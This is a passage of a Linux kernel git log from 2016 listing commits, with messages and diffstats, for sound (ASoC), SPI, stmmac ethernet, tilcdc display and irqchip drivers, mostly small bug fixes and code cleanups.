Miller .../devicetree/bindings/net/stm32-dwmac.txt | 32 ++++++++++++++++++++++ 1 file changed, 32 insertions(+) commit c6eec6f332a0504ba3af1d597e7624b9dfd7cfda Author: Alexandre TORGUE Date: Mon Aug 29 18:23:38 2016 +0200 net: ethernet: dwmac: add Ethernet glue logic for stm32 chip stm324xx family chips support Synopsys MAC 3.510 IP. This patch adds settings for logical glue logic: -clocks -mode selection MII or RMII. Reviewed-by: Joachim Eastwood Acked-by: Giuseppe Cavallaro Tested-by: Maxime Coquelin Signed-off-by: Alexandre TORGUE Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/Kconfig | 12 ++ drivers/net/ethernet/stmicro/stmmac/Makefile | 1 + drivers/net/ethernet/stmicro/stmmac/dwmac-stm32.c | 193 ++++++++++++++++++++++ 3 files changed, 206 insertions(+) commit 63d19e0693668de5ce46b5f0f948645bf43b546b Author: Richard Fitzgerald Date: Thu Aug 25 11:39:32 2016 +0100 ASoC: arizona: Wait for resume before enabling FLL When enabling an FLL use pm_runtime_get_sync() instead of pm_runtime_get() to ensure that all the register settings have been written out and the codec is powered-up before we write the enable bit. Signed-off-by: Richard Fitzgerald Signed-off-by: Mark Brown sound/soc/codecs/arizona.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9d04d8bc4c18765f6a1f7b632fffe47b4578fb26 Author: Sudeep Holla Date: Thu Aug 25 13:33:28 2016 +0100 spi: qup: skip clk_disable_unprepare if the device is already runtime suspended If the spi device is already runtime suspended, if spi_qup_suspend is executed during suspend-to-idle or suspend-to-ram it will result in the a splat from unpreparing a non-prepared clock. This patch fixes the issue by executing clk_disable_unprepare conditionally in spi_qup_suspend. [Reworded commit message to remove irrelevant backtrace -- broonie] Signed-off-by: Sudeep Holla Tested-by: Andy Gross Signed-off-by: Mark Brown drivers/spi/spi-qup.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit b0fab9c6f636733161b723d1c223f2ce17637ff0 Author: Dharageswari R Date: Wed Aug 24 18:03:16 2016 +0530 ASoC: Intel: Skylake: Unload all the loadable modules There could be more than one loadable module in a pipeline. So unload all modules whilst parsing the list. Signed-off-by: Dharageswari R Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-topology.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 0b6d76bbd5e223d33ccdd73f3a717692d500d221 Author: Jeeja KP Date: Wed Aug 24 18:03:15 2016 +0530 ASoC: Intel: Skylake: Fix DMA control config size DMA control IPC structure wrong config array length, So corrected the size Signed-off-by: Jeeja KP Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-topology.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fc94733e56481d1e3d1ed0038f87cf105793effa Author: Vinod Koul Date: Wed Aug 24 18:03:14 2016 +0530 ASoC: Intel: Skylake: Fix the inverted logic check While converting to new core hda capability parsing, one instance of check had inverted logic which was converted wrongly. Fixes: ec8ae5703da1 (ALSA: convert users to core bus_parse_capabilities) Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-pcm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c15ad605be164dd425c32af730376b6ad71d6cb3 Author: Vinod Koul Date: Wed Aug 24 18:03:13 2016 +0530 ASoC: Intel: Skylake: check manifest size For some platforms manifest data may not be defined, thus the private data would not be defined as well. So check the size of private data and proceed only if it is valid. Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-topology.c | 4 ++++ 1 file changed, 4 insertions(+) commit b0133d9c4d7600fa43499c12897136fb4f38fd57 Author: Kuninori Morimoto Date: Fri Aug 26 03:10:25 2016 +0000 ASoC: simple-card: use kzalloc() for dai_props / dai_link simple sound card family are using very similar style, but because of its historical reason, there are small differences. For example pointer style, function name, caller postion etc... This patch synchronized simple card style to other simple card family. Now, simple card needs to 2 type of buffer for dai_props and dai_link. But, these used different style for buffer allocation. This patch make these same style as other simple card family. (= use kzalloc() for both) Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) commit 2c86dda74ceae739eb3c0ada5cd8f2ddf903ce35 Author: Kuninori Morimoto Date: Fri Aug 26 03:09:38 2016 +0000 ASoC: simple-card: code sync: rename num_link to num simple sound card family are using very similar style, but because of its historical reason, there are small differences. For example pointer style, function name, caller postion etc... This patch synchronized simple card style to other simple card family. This patch renames num_link to num Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 0a6c7f2f7890796209896c2239420c8a38dacb60 Author: Kuninori Morimoto Date: Fri Aug 26 03:08:25 2016 +0000 ASoC: simple-card: code sync: use tag simple sound card family are using very similar style, but because of its historical reason, there are small differences. For example pointer style, function name, caller postion etc... This patch synchronized simple card style to other simple card family. This patch uses tag on asoc_simple_card_probe Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 387f5823f400445ed0152bfa06eef50a382b9219 Author: Kuninori Morimoto Date: Fri Aug 26 03:07:59 2016 +0000 ASoC: simple-card: code sync: tidyup white line simple sound card family are using very similar style, but because of its historical reason, there are small differences. For example pointer style, function name, caller postion etc... This patch synchronized simple card style to other simple card family. This patch tidyups white line Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit a1dbfd001310c429fce9e066730302c82f68bd19 Author: Kuninori Morimoto Date: Fri Aug 26 03:07:28 2016 +0000 ASoC: simple-card: is GPL v2 It is indicating that this driver is GPL v2 on top of C code. Let's fixup it on MODULE_LICENSE() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c9a23ead0261b23a7571d53d90117283b177b360 Author: Kuninori Morimoto Date: Fri Aug 26 03:06:51 2016 +0000 ASoC: simple-card: code sync: use simple_priv_to_props() macro Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 7e3353ddd232da693ec26ef7982cac50d5386887 Author: Kuninori Morimoto Date: Fri Aug 26 03:06:23 2016 +0000 ASoC: simple-card: code sync: tidyup simple_priv_to_xxx() macro Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f93b646d5124183ab76cb820d5b21a7741726eba Author: Kuninori Morimoto Date: Fri Aug 26 03:05:58 2016 +0000 ASoC: simple-card: tidyup mclk-fs of_property_read_u32() usage of_property_read_u32() do nothing in error case. Let's tidyup useless usage. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit a03b0545c26d88ae92cdfc662cad4364e8c627a3 Author: Kuninori Morimoto Date: Fri Aug 26 03:05:16 2016 +0000 ASoC: simple-card: call of_node_put() for dai_link We need to call of_node_put() if we used of_get_child_by_name(), but missing it for "dai-link" loop. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 9f645421b8219a466cca512ea5b123a5b170c59b Author: Kuninori Morimoto Date: Thu Aug 25 01:58:55 2016 +0000 ASoC: simple-scu-card: code sync: tidyup TDM setting position simple sound card family are using very similar style, but because of its historical reason, there are small differences. For example pointer style, function name, caller postion etc... This patch tidyup TDM setting position Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-scu-card.c | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) commit f4d70709c80d907a841e8ffc40995eca661817e6 Author: Kuninori Morimoto Date: Thu Aug 25 01:58:31 2016 +0000 ASoC: simple-scu-card: code sync: move asoc_simple_card_of_match simple sound card family are using very similar style, but because of its historical reason, there are small differences. For example pointer style, function name, caller postion etc... This patch synchronized simple card style to other simple card family This patch moves asoc_simple_card_of_match to bottom side, and rename it to asoc_simple_of_match same as other simple card family. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-scu-card.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit e5a01eb5fc6f0e77033f005e6b5f7fb8b4ea837f Author: Kuninori Morimoto Date: Thu Aug 25 01:58:10 2016 +0000 ASoC: simple-scu-card: add 2 CPU 1 Codec example Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown .../devicetree/bindings/sound/simple-scu-card.txt | 32 +++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) commit 88da724f77f768877283165f25d8b6d9f30b1ef7 Author: Kuninori Morimoto Date: Thu Aug 25 01:57:50 2016 +0000 ASoC: simple-scu-card: depends on CONFIG_OF simple-scu-card driver is under CONFIG_OF. This patch adds missing config. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 83216f3acc4ab42ffe7001b54cd62f7ca2bde30f Author: Kuninori Morimoto Date: Thu Aug 25 01:57:30 2016 +0000 ASoC: simple-scu-card: tidyup asoc_simple_card_parse_links() method Current asoc_simple_card_parse_links() is setting dai_link daifmt. But, asoc_simple_card_parse_links() is doing it. This patch clean-up this point less method Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-scu-card.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit 112a2ab5a720279d0805018a9ee162e12b0ce463 Author: Kuninori Morimoto Date: Thu Aug 25 01:57:04 2016 +0000 ASoC: simple-scu-card: tidyup codec daifmt handling method Current simple-scu-card is handling codec daifmt by using for_each_child_of_node(), and low-level method. Let's use of_get_child_by_name() instead it Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-scu-card.c | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) commit 93bc047d768d1049a591cc8b710b6481a7ddab89 Author: Kuninori Morimoto Date: Thu Aug 25 01:56:38 2016 +0000 ASoC: simple-scu-card: is GPL v2 It is indicating that this driver is GPL v2 on top of C code. Let's fixup it on MODULE_LICENSE() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-scu-card.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5496ca5c657517a20aa0f19f4baea2a119f231aa Author: Kuninori Morimoto Date: Thu Aug 25 01:56:18 2016 +0000 ASoC: simple-scu-card: remove unused definitions Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-scu-card.c | 8 -------- 1 file changed, 8 deletions(-) commit dbd4fefb5b7cba19e3f89c097d93ad02049e38e3 Author: Heiner Kallweit Date: Thu Aug 25 06:45:55 2016 +0200 spi: fsl-espi: remove unneeded variable in fsl_espi_do_trans Creating a message, adding one transfer, and then iterating over all transfers in the message doesn't make sense. We can simply use the original transfer directly. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 23 ++++++++--------------- 1 file changed, 8 insertions(+), 15 deletions(-) commit 10ed1e6d320ca01deef3bc36df91e04ecd69a60e Author: Heiner Kallweit Date: Thu Aug 25 06:45:16 2016 +0200 spi: fsl-espi: add missing static declaration to fsl_espi_cpu_irq Add missing static declaration to fsl_espi_cpu_irq. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bbb55f6d6276b39a96b7bcd79f1159a1365bb318 Author: Heiner Kallweit Date: Thu Aug 25 06:44:58 2016 +0200 spi: fsl-espi: change return type of fsl_espi_cpu_bufs to void fsl_espi_cpu_bufs always returns 0, so change the return type to void. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit ea616ee220e70308cf33fa32496ae9c5ad18e190 Author: Heiner Kallweit Date: Thu Aug 25 06:44:42 2016 +0200 spi: fsl-espi: change return type of fsl_espi_setup_transfer to void fsl_espi_setup_transfer always returns 0, so change the return type to void. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) commit 6bdf03b30ed0ac72d309fe22aed8101f4cc6a2df Author: Heiner Kallweit Date: Thu Aug 25 06:43:17 2016 +0200 spi: fsl-espi: dont include irq.h irq.h isn't needed and it even shouldn't be included, see comment at the beginning of this header file. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 1 - 1 file changed, 1 deletion(-) commit 38d16f791634ee95a1a818d2170dc75681ee80af Author: Nicolin Chen Date: Wed Aug 24 12:03:39 2016 -0700 ASoC: rt5659: Enable IRQ output for GPIO1 pin Since it's possible to have an IRQ without enabling JD3, the GPIO1 pin then would remain its default GPIO function which is set as an input direction (seeing from rt5659). Meanwhile, CPU would also listen this connection via its own GPIO input: [input] [input] CPU GPIO <--------> RT5659 GPIO1 The result for the IRQ on the CPU side will be unexpectable. So this patch enables the IRQ output for GPIO1 pin any way as long as there's an IRQ assigned from platform data or DT: [input] [IRQ output] CPU GPIO <--------< RT5659 GPIO1 Signed-off-by: Nicolin Chen Signed-off-by: Mark Brown sound/soc/codecs/rt5659.c | 3 +++ 1 file changed, 3 insertions(+) commit c614a31287033945478053cd060c3c803d7bc94f Author: Nicolin Chen Date: Wed Aug 24 17:26:15 2016 -0700 ASoC: tegra_rt5640: Correct a copy and paste typo in the comments This patch corrects a copy and paste typo. Signed-off-by: Nicolin Chen Signed-off-by: Mark Brown sound/soc/tegra/tegra_rt5640.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ec103964776bf8af74e66eb1a810eada757718a5 Author: Axel Lin Date: Thu Aug 25 08:55:27 2016 +0800 ASoC: nau8810: Fix memory leak in nau8810_eq_put error path Signed-off-by: Axel Lin Signed-off-by: Mark Brown sound/soc/codecs/nau8810.c | 1 + 1 file changed, 1 insertion(+) commit a3930ed060df4ccf2a06cf0b68738dec3e6ff89a Author: Chen-Yu Tsai Date: Sat Aug 27 19:28:00 2016 +0800 ASoC: dapm: Fix kcontrol creation for output driver widget Commit d88429a695a4 ("ASoC: dapm: Add output driver widget") added the snd_soc_dapm_out_drv ID for the output driver widget, which is the same as the PGA widget, with a later power sequence number. Commit 19a2557b76d6 ("ASoC: dapm: Add kcontrol support for PGAs") then added kcontrol support for PGA widgets, but failed to account for output driver widgets. Attempts to use kcontrols with output driver widgets result in silent failures, with the developer having little idea about what went on. Add snd_soc_dapm_out_drv to the switch/case block under snd_soc_dapm_pga in dapm_create_or_share_kcontrol, since they are essentially the same. Fixes: 19a2557b76d6 (ASoC: dapm: Add kcontrol support for PGAs) Signed-off-by: Chen-Yu Tsai Signed-off-by: Mark Brown sound/soc/soc-dapm.c | 1 + 1 file changed, 1 insertion(+) commit 071133a209354f39d4e5785d5a6a390e03241841 Author: Chen-Yu Tsai Date: Sat Aug 27 19:27:59 2016 +0800 ASoC: dapm: Fix value setting for _ENUM_DOUBLE MUX's second channel The value for the second channel in _ENUM_DOUBLE (double channel) MUXs is not correctly updated, due to using the wrong bit shift. Use the correct bit shift, so both channels toggle together. Fixes: 3727b4968453 (ASoC: dapm: Consolidate MUXs and value MUXs) Signed-off-by: Chen-Yu Tsai Reviewed-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/soc-dapm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 01ad5e7de67b408d9b48b437b06a9938ddf460b5 Author: Chen-Yu Tsai Date: Sat Aug 27 19:27:58 2016 +0800 ASoC: dapm: Fix possible uninitialized variable in snd_soc_dapm_get_volsw() If soc_dapm_read() fails, val will be uninitialized, and bogus values will be written later: ret = soc_dapm_read(dapm, reg, &val); val = (val >> shift) & mask; However, the compiler does not give a warning. Return on error before val is really used to avoid this. This is similar to the commit 6912831623c5 ("ASoC: dapm: Fix uninitialized variable in snd_soc_dapm_get_enum_double()") Fixes: ce0fc93ae56e (ASoC: Add DAPM support at the component level) Signed-off-by: Chen-Yu Tsai Signed-off-by: Mark Brown sound/soc/soc-dapm.c | 3 +++ 1 file changed, 3 insertions(+) commit 3fb7b4e488c30f0e2fce3f41bdcd19a18975090f Author: Colin Ian King Date: Fri Aug 26 19:17:25 2016 +0100 ASoC: hdac_hdmi: fix spelling mistake "montior" -> "monitor" Trivial fix to spelling mistake in dev_warn message. Signed-off-by: Colin Ian King Acked-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/codecs/hdac_hdmi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ab387b400872791d0e4d8652a08b44848b85e188 Author: Colin Ian King Date: Fri Aug 26 18:52:33 2016 +0100 ASoC: wm8962: fix spelling mistake "mesurement" -> "measurement" Trivial fix to spelling mistake in dev_err message. Signed-off-by: Colin Ian King Acked-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm8962.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f506513ad80dc7ca0b4bfe26a228a801c08d1db7 Author: Arnd Bergmann Date: Fri Aug 26 17:50:55 2016 +0200 ASoC: rockchip: use SPI dependency for rt5514 The rk3399 scans the spi_bus_type to find the rt5514 driver, but does not actually have a Kconfig dependency on SPI, so we can end up with a link failure: sound/soc/codecs/snd-soc-rt5514-spi.o: In function `rt5514_spi_driver_init': rt5514-spi.c:(.init.text+0x14): undefined reference to `__spi_register_driver' sound/soc/codecs/snd-soc-rt5514-spi.o: In function `rt5514_spi_burst_read': rt5514-spi.c:(.text.rt5514_spi_burst_read+0x18c): undefined reference to `spi_sync' sound/soc/codecs/snd-soc-rt5514-spi.o: In function `rt5514_spi_burst_write': rt5514-spi.c:(.text.rt5514_spi_burst_write+0x1b4): undefined reference to `spi_sync' sound/soc/rockchip/snd-soc-rk3399-gru-sound.o: In function `rockchip_sound_probe': rk3399_gru_sound.c:(.text.rockchip_sound_probe+0x128): undefined reference to `spi_bus_type' This adds the missing dependency. Fixes: c6eac8a36a84 (ASoC: rockchip: Add machine driver for RK3399 GRU Boards) Signed-off-by: Arnd Bergmann Tested-by: Xing Zheng Signed-off-by: Mark Brown sound/soc/rockchip/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 61ab0d403bbd9d5f6e000e3b5734049141b91f6f Author: Nicolas Iooss Date: Sun Aug 28 21:10:04 2016 +0200 ASoC: Intel: Atom: add a missing star in a memcpy call In sst_prepare_and_post_msg(), when a response is received in "block", the following code gets executed: *data = kzalloc(block->size, GFP_KERNEL); memcpy(data, (void *) block->data, block->size); The memcpy() call overwrites the content of the *data pointer instead of filling the newly-allocated memory (which pointer is hold by *data). Fix this by merging kzalloc+memcpy into a single kmemdup() call. Thanks Joe Perches for suggesting using kmemdup() Fixes: 60dc8dbacb00 ("ASoC: Intel: sst: Add some helper functions") Signed-off-by: Nicolas Iooss Signed-off-by: Mark Brown Cc: stable@vger.kernel.org sound/soc/intel/atom/sst/sst_pvt.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit 189f06c031d431d4fb7a78952df4c83ac7822b79 Author: Jaswinder Jassal Date: Mon Aug 29 16:06:58 2016 +0100 ASoC: core: fix shift used for second item in snd_soc_get_enum_double Incorrect shift value was being used to extract the second item. Signed-off-by: Jaswinder Jassal Reviewed-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/soc-ops.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9be072a6f9187f087a8b7682b70b898ac5cb7d64 Author: Peter Ujfalusi Date: Thu Sep 1 10:05:12 2016 +0300 ASoC: davinci-mcasp: off-by-one in davinci_mcasp_hw_rule_format() The SNDRV_PCM_FORMAT_LAST is valid, we should not skip it. Signed-off-by: Peter Ujfalusi Signed-off-by: Mark Brown sound/soc/davinci/davinci-mcasp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2961d6707ca18830d8d58819ac9409e2e7c6e552 Author: Christophe JAILLET Date: Thu Sep 1 08:52:37 2016 +0200 ASoC: omap-pcm: off-by-one in 'omap_pcm_limit_supported_formats' When calling 'snd_pcm_format_physical_width', SNDRV_PCM_FORMAT_LAST is a valid value, so don't skip it. Signed-off-by: Christophe JAILLET Acked-by: Peter Ujfalusi Signed-off-by: Mark Brown sound/soc/omap/omap-pcm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f802d6c020658b5dce1732da0d5999a1a65afdd6 Author: Julia Lawall Date: Wed Aug 31 23:52:27 2016 +0200 ASoC: constify snd_soc_codec_driver structures Check for snd_soc_codec_driver structures that are only passed to snd_soc_register_codec or memcpy (2nd arg), for which the corresponding parameters are declared const. Declare as const snd_soc_codec_driver structures that have these properties. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_soc_codec_driver i@p = { ... }; @ok@ identifier r.i; expression e1,e2,e3; position p; @@ ( snd_soc_register_codec(e1,&i@p,e2,e3) | memcpy(e1,&i@p,e2) ) @bad@ position p != {r.p,ok.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_soc_codec_driver i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm0010.c | 2 +- sound/soc/codecs/wm1250-ev1.c | 2 +- sound/soc/codecs/wm2000.c | 2 +- sound/soc/codecs/wm2200.c | 2 +- sound/soc/codecs/wm5100.c | 2 +- sound/soc/codecs/wm5102.c | 2 +- sound/soc/codecs/wm5110.c | 2 +- sound/soc/codecs/wm8350.c | 2 +- sound/soc/codecs/wm8400.c | 2 +- sound/soc/codecs/wm8510.c | 2 +- sound/soc/codecs/wm8523.c | 2 +- sound/soc/codecs/wm8580.c | 2 +- sound/soc/codecs/wm8711.c | 2 +- sound/soc/codecs/wm8727.c | 2 +- sound/soc/codecs/wm8728.c | 2 +- sound/soc/codecs/wm8731.c | 2 +- sound/soc/codecs/wm8737.c | 2 +- sound/soc/codecs/wm8741.c | 2 +- sound/soc/codecs/wm8750.c | 2 +- sound/soc/codecs/wm8753.c | 2 +- sound/soc/codecs/wm8770.c | 2 +- sound/soc/codecs/wm8776.c | 2 +- sound/soc/codecs/wm8782.c | 2 +- sound/soc/codecs/wm8900.c | 2 +- sound/soc/codecs/wm8903.c | 2 +- sound/soc/codecs/wm8904.c | 2 +- sound/soc/codecs/wm8940.c | 2 +- sound/soc/codecs/wm8955.c | 2 +- sound/soc/codecs/wm8960.c | 2 +- sound/soc/codecs/wm8961.c | 2 +- sound/soc/codecs/wm8962.c | 2 +- sound/soc/codecs/wm8971.c | 2 +- sound/soc/codecs/wm8974.c | 2 +- sound/soc/codecs/wm8978.c | 2 +- sound/soc/codecs/wm8983.c | 2 +- sound/soc/codecs/wm8985.c | 2 +- sound/soc/codecs/wm8990.c | 2 +- sound/soc/codecs/wm8991.c | 2 +- sound/soc/codecs/wm8993.c | 2 +- sound/soc/codecs/wm8994.c | 2 +- sound/soc/codecs/wm8996.c | 2 +- sound/soc/codecs/wm8997.c | 2 +- sound/soc/codecs/wm8998.c | 2 +- sound/soc/codecs/wm9081.c | 2 +- sound/soc/codecs/wm9090.c | 2 +- sound/soc/codecs/wm9705.c | 2 +- sound/soc/codecs/wm9712.c | 2 +- sound/soc/codecs/wm9713.c | 2 +- 48 files changed, 48 insertions(+), 48 deletions(-) commit dc34b89a8c611946bfa18ddc322d355e97811f01 Author: Baoyou Xie Date: Wed Aug 31 17:21:47 2016 +0800 spi: loopback-test: mark rx_ranges_cmp() static We get 1 warning when building kernel with W=1: drivers/spi/spi-loopback-test.c:408:5: warning: no previous prototype for 'rx_ranges_cmp' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. So this patch marks it 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Signed-off-by: Mark Brown drivers/spi/spi-loopback-test.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ea2f7321a9029194a31ff9f798a8276d45747bcd Author: Baoyou Xie Date: Wed Aug 31 17:30:31 2016 +0800 regulator: hi6421: mark hi6421_regulator_ldo_get_optimum_mode() static We get 1 warning when building kernel with W=1: drivers/regulator/hi6421-regulator.c:480:14: warning: no previous prototype for 'hi6421_regulator_ldo_get_optimum_mode' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. So this patch marks it 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Signed-off-by: Mark Brown drivers/regulator/hi6421-regulator.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 6ffc84dd1590a7af837a23c8d2c405eaa0a7faef Author: Geert Uytterhoeven Date: Wed Aug 31 11:37:05 2016 +0200 spi: sh-msiof: Use ARCH_SHMOBILE instead of SUPERH "spi_sh_msiof" is used on sh7723 and sh7724 only. As all of the above select ARCH_SHMOBILE, restrict its driver dependencies from SUPERH to ARCH_SHMOBILE. Signed-off-by: Geert Uytterhoeven Reviewed-by: Simon Horman Signed-off-by: Mark Brown drivers/spi/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f99008013e199e6b88ef26c98ecb042c94c7450c Author: Phil Reid Date: Wed Aug 31 15:31:38 2016 +0800 spi: sc18is602: Add reset control via gpio pin. This sc18is602 has a reset pin that may need to be deasserted. Add optional binding to specifiy the reset pin via a gpio and deassert during probe. Signed-off-by: Phil Reid Signed-off-by: Mark Brown drivers/spi/spi-sc18is602.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 904a987345258ff95892685bcc4462f18ac259cd Author: Richard Leitner Date: Wed Aug 31 09:26:31 2016 +0200 ASoC: sgtl5000: add headphone and LINEOUT mute controls These controls mute/unmute the LINEOUT and headphone outputs of SGTL5000 using its CHIP_ANA_CTRL register. Signed-off-by: Richard Leitner Signed-off-by: Mark Brown sound/soc/codecs/sgtl5000.c | 3 +++ 1 file changed, 3 insertions(+) commit de34dcfe70576792a6312f9af4a1f880182b2d3b Author: Harsha Priya Date: Tue Aug 30 23:13:05 2016 -0700 ASoC: Intel: Atom: Fix message handling during drop stream If a stream is being dropped, the period_elapsed received then after need not be processed. Processing of the period_elapsed message causes a time out in drop stream response processing. This patch adds a condition to skip period_elapsed message processing if the stream is in INIT state. Signed-off-by: Harsha Priya Signed-off-by: Naveen M Acked-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/atom/sst/sst_ipc.c | 3 +++ 1 file changed, 3 insertions(+) commit c56653855250ca6072d6e0ad7fe537c1a6628c70 Author: Jyri Sarha Date: Sat Aug 13 21:08:20 2016 +0300 drm/tilcdc: Choose console BPP that supports RGB Choose console BPP that supports RGB and remove the old fbdev bpp selection code. LCDC on AM335x has red and blue wires switched between 24 bit and 16 bit colors. If 24 format is wired for RGB colors, the 16 bit format is wired for BGR. drm_fbdev_cma_init() does not currently like anything else but RGB formats, so we must choose such bytes per pixel value that supports RGB. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen drivers/gpu/drm/tilcdc/tilcdc_drv.c | 14 +++++--------- drivers/gpu/drm/tilcdc/tilcdc_drv.h | 1 - drivers/gpu/drm/tilcdc/tilcdc_external.c | 7 +++---- drivers/gpu/drm/tilcdc/tilcdc_external.h | 2 +- drivers/gpu/drm/tilcdc/tilcdc_panel.c | 2 -- drivers/gpu/drm/tilcdc/tilcdc_tfp410.c | 2 -- 6 files changed, 9 insertions(+), 19 deletions(-) commit bcc5a6f5fc9f0d53aa896768d6f86d7e64d0b783 Author: Jyri Sarha Date: Thu Aug 11 19:09:43 2016 +0300 drm/tilcdc: Add blue-and-red-crossed devicetree property Add "blue-and-red-wiring"-device tree property and update devicetree binding document. The red and blue components are reversed between 24 and 16 bit modes on am335x LCDC output pins. To get 24 RGB format the red and blue wires has to be crossed and this in turn causes 16 colors output to be in BGR format. With straight wiring the 16 color is RGB and 24 bit is BGR. The new property describes whether the red and blue wires are crossed or not. If the property is not present or its value is not recognized the legacy mode is assumed. The legacy configuration supports RGB565, RGB888 and XRGB8888 formats. However, depending on wiring, the red and blue colors are swapped in either 16 or 24-bit color modes. For more details see section 3.1.1 in AM335x Silicon Errata: http://www.ti.com/general/docs/lit/getliterature.tsp?baseLiteratureNumber=sprz360 Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen .../devicetree/bindings/display/tilcdc/tilcdc.txt | 22 ++++++++++++ drivers/gpu/drm/tilcdc/tilcdc_drv.c | 41 ++++++++++++++++++++++ drivers/gpu/drm/tilcdc/tilcdc_drv.h | 4 +++ drivers/gpu/drm/tilcdc/tilcdc_plane.c | 9 ++--- 4 files changed, 70 insertions(+), 6 deletions(-) commit 2349f205df22c51fd717cd52b56df0e63c6c3ff2 Author: Colin Ian King Date: Thu Sep 1 11:44:54 2016 +0100 irqchip/keystone: Fix typo "sporious" -> "spurious" Trivial fix to typo in dev_warn message. Signed-off-by: Colin Ian King Link: https://lkml.kernel.org/r/20160901104454.26092-1-colin.king@canonical.com Signed-off-by: Jason Cooper 